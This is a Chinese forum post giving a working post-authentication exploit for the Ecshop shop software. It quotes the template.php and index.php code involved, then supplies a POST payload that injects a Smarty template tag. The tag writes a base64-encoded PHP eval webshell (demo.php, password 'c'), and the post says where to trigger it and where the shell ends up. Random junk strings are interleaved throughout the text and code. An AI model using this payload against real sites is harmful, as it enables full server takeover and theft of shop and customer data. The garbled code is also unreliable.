找回密码
 立即注册
查看: 3230|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 t6 ]" _, _- B0 S+ U
( {( T% {- l& I) |2 E* P- Z* m3 W而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
2 C- t: _$ ]- w! J  j7 ?" U7 T但是ecshop似乎不支持{php}{/php}这个标签来执行php代码% y* |" a4 O/ Z+ a8 [. G7 m( @
admin/template.php) O8 X1 L0 R& b. m. F( d3 ^

* r) M( ]/ P/ S& L$ Y6 F( N, ~% h% l1 if ($_REQUEST['act'] == 'update_library')
# `% i+ N* G7 H: V4 f5 z+ U0 L# C% N' E- d2 ~. l% q
2   
. F/ \5 P# }- c! Y$ t
$ Z5 j) q' W  @5 ]6 f3 { 1 i$ r; i% c. Y
9 Y3 T0 ^7 U! Z4 A
4     check_authz_json('library_manage');
* N% P  |2 p# l: B( F
. z0 J3 @3 c* {; B  D% h* Z* S5   
0 v+ {  L, m/ W) N& |! _' J1 T) F
- t6 x2 ~: `: D6 ~( A6     $html = stripslashes(json_str_iconv($_POST['html'])); % l: w5 Z4 R8 k* X3 P/ A0 R) o
) E! f* j% x/ {
7   
* r! k! Q7 H6 X. e9 i1 ^* c  d* C0 t6 K9 g
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 0 \0 s; s" P% d% M- I; h

& U* K( C: }6 W  b9   , N* O( j) j; B7 }
+ |- K4 v3 k8 w3 b0 ]2 V! K6 L8 m; u
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
: y5 b. i3 I# d: j) N; @& w% {+ N& H4 {9 H8 ?/ z
11   
2 q% J* {) s: x! ]& }$ N: P4 t( d4 {$ q# n* s: x
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
/ z; N3 A5 |# _9 j' l
; o" P& y9 n* c. C9 y% t13   
% A  }( }4 R* ^( n$ z- W; @5 }# M5 O7 C% e1 S! ?
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( f) w' l0 X2 \# H' F: F8 K) [* D1 T6 N$ j3 W$ h  J. o" w' U0 j4 |+ Q
15     { , m1 @- O/ c+ g( H) `3 a! A
- e: M( m" u8 k6 D0 Q7 B. E
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
6 v3 w" b; d! m; F$ b" J% |2 t& h7 Y8 L! k% E% m
17         make_json_result('', $_LANG['update_lib_success']); 4 b0 l& N: x) H1 k
5 B+ z; G9 p; t2 ?# {
18     }
) t, \( ^  A) |% r* y, I$ }  i
1 Y* E6 C, y3 c19     else
$ }7 B1 r& m* _  ~; q3 S+ a; k. j  f! F% ~; f
20     { ' e7 w( G) i  ]% u1 K% g

. ]* h3 Y; D+ q: t" C21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 4 N$ Q8 k( {0 w

! w& g( R( }! b: b& S" [22     } ( A, j* i% ?" _/ E& _
% V3 b& t0 Z9 O
23 } : n8 y$ V0 H/ i) n, `* z3 T
5 w; y8 n& [# F- _
那么找个比较方便调用了模板的文件0 N0 T, L6 d3 S8 i9 ?
index.php
9 `; u% k" y- Y! F! Q# }) E
% L* @* B4 s! b/ P5 W8 g6 K2 R0 m' K1 if ($act == 'cat_rec') ; F  n1 D# N% t
, m0 q+ O5 x, p6 j
2   
1 Z( F4 r+ z( V: z& w6 A6 i
) B  [. R2 ^, p- o$ Q4 N3 { ' H  y) _) J$ T6 N1 c
) Z& t7 y& w4 j+ J1 p
4   2 ]) c( C. H/ N* |% ~: u% L/ Y
: L* C0 n- m; U! Z8 W. R
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 4 i/ D% Z( u" j% X' }
5 Q% C/ B2 E4 \3 _; t
6   
8 j- _2 R2 E. E$ _; A: g  u/ D: Q. I1 @
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 1 r; i* T+ B  i- X3 W( U
& q; H' Y# \. y) h
8   
, G4 ?3 o/ ~2 ?2 w- y9 U* s2 x( G! r, p" w8 d  F) {
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
+ \* a* g2 \4 `2 S) I0 Y/ _3 e8 B3 h4 Q5 S  C& S$ U
10   
) `- N* ^  o7 j( f/ s3 C6 i
( @3 V1 o1 t+ k  ^11     include_once('includes/cls_json.php'); ( X1 b4 E$ @/ z! Z+ T

9 U7 J' d7 n: M+ G0 x# Z12   
  }# O9 T& c7 C7 f* G8 H
4 ~% A2 n; s7 m8 k13     $json = new JSON;
+ p5 X1 x2 n: T  W7 i  R6 q* i, ?7 Z6 i
14   ! \9 X- w+ I  k
1 ^" e" x8 b" l& w
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! p) N0 X* @) I0 s& h* F# I/ Y' n  q  b4 @
16   
2 b) _+ U( a" U
( k2 c5 B  s6 [+ v7 @17     $children = get_children($cat_id); ( w0 e9 f2 C6 c. g, F
8 H3 ]8 L+ D0 {
18   
5 N$ T( D8 I9 H2 W. R8 m  c7 `0 k2 k4 S$ f+ h. f" K
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
/ f) A$ Z: ^! B: L2 S, ^& E9 X2 J( i. F9 _& l% C
20   8 f1 Q, N) _8 B0 g  ?
" b7 p7 h9 t0 k
21     $smarty->assign('cat_rec_sign', 1);
, P: X' I* b: o* r0 I* t: p
4 z4 ^6 T6 I- R22   
9 B: u+ ^4 H& o0 O8 z* |3 b6 l; d2 `  D1 S
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) X7 D  y% M) `: p) ^( Z; [$ N/ f  V* _
24   
7 }! e5 R' Q* v9 [
' N4 p7 [/ M: P! D% ^6 m& a25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 0 I' M0 p2 {# X! u. f% k
9 h6 `$ B% t: |) z
26   
, a' {; m8 {# o3 K$ c. F. }9 {/ r5 L, O
27         echo $rec_array[$rec_type]; ) ~1 }' l4 s+ i& A% Z7 G  p
/ ~$ x* M, w8 l' Y
28   & Y8 C' S- F, ^9 w

( l: @0 E8 P& l* m2 L  G& _  J29     die($json->encode($result)); & Q  R$ N! Q' s3 d7 O

) D4 @+ s/ T! `; o7 S9 U7 O$ l30   ( Z) L5 u4 H6 n
) z/ L9 l6 m; `* @
31 }
: [. c7 z7 b6 z0 X3 q2 `* o
+ }3 C# p  y, l  L1 h) Q那么就有利用方法了7 a. N+ i$ d) f6 i# v
post包到http://localhost/ec/admin/template.php?act=update_library: P7 \- S/ I2 e5 {3 A5 i$ f
Post内容:! p% h3 e1 Y7 ^( Y' Q

+ A$ C" v& {- y% ^9 z: B, b/ y& o$ ~, G6 t$ k( F' f
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} * `5 \/ e; X+ Q2 V1 e

0 K' u5 D0 C2 m3 I. N然后访问http://localhost/ec/index.php?act=cat_rec5 j# W5 L- L0 f0 y/ ?8 z

! U. }% N% }& O1 h2 Fshel地址:http://localhost/ec/demo.php2 {; D8 d6 U' d6 }+ n
密码c' D; a3 o6 [) H' T* f1 y/ c) k
  k0 r' d, w/ P" T2 ]. j3 g3 V$ O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表